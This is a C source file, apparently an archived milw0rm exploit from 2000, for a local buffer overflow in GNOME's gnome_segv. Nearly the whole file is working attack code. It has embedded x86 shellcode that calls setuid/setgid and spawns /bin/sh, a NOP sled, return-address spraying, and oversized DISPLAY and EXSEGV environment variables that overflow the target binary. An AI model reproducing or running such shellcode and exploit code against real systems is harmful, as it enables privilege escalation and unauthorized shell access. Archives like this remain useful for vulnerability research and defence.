/* gnome_segv local buffer overflow.
*
* Author: Cody Tubbs (loophole of hhp).
* www.hhp-programming.net / pigspigs@yahoo.com
* 12/9/2000
*
* This exploit was coded at overfiens in cali.
* Shouts to overfien and skeptik... h00t h00t.
* Bug found by skeptik.
*
* Tested on SuSE 6.4/2.2.14
* non s*id by default, p.o.e. only.
*/
#include <stdio.h>
#define DBUF 287 // 56(fun)+RET+227!
#define OFFSET 0 // Change if fails.
static char shellcode[]=
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\x66\x31\xc0\x66\x31\xdb\xb0\x2e\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff"
"/bin/sh\x69";
long get_sp(void){__asm__("movl %esp,%eax");}
main(int argc, char **argv){
char eipeip[DBUF]=" Don't forget to check www.hhp-programming.net";
char buffer[4096], heh[256+1]; // ^</tag> :D
int i, offset;
long address;
if(argc>1){offset=atoi(argv[1]);}
else{offset=OFFSET;}
address=get_sp()-offset;
for(i=56;i<DBUF;i+=4){*(long *)&eipeip[i]=address;}
for(i=0;i<(4096-strlen(shellcode)-strlen(eipeip));i++){buffer[i]=0x90;}
memcpy(heh,eipeip,strlen(eipeip));
memcpy(heh,"DISPLAY=",8);
putenv(heh);
memcpy(buffer+i,shellcode,strlen(shellcode));
memcpy(buffer,"EXSEGV=",7);
putenv(buffer);
fprintf(stderr,"Return address %#x, offset: %d.\n",address,offset);
execlp("/opt/gnome/bin/gnome_segv","gnome_segv",0);
}
// milw0rm.com [2000-12-06]
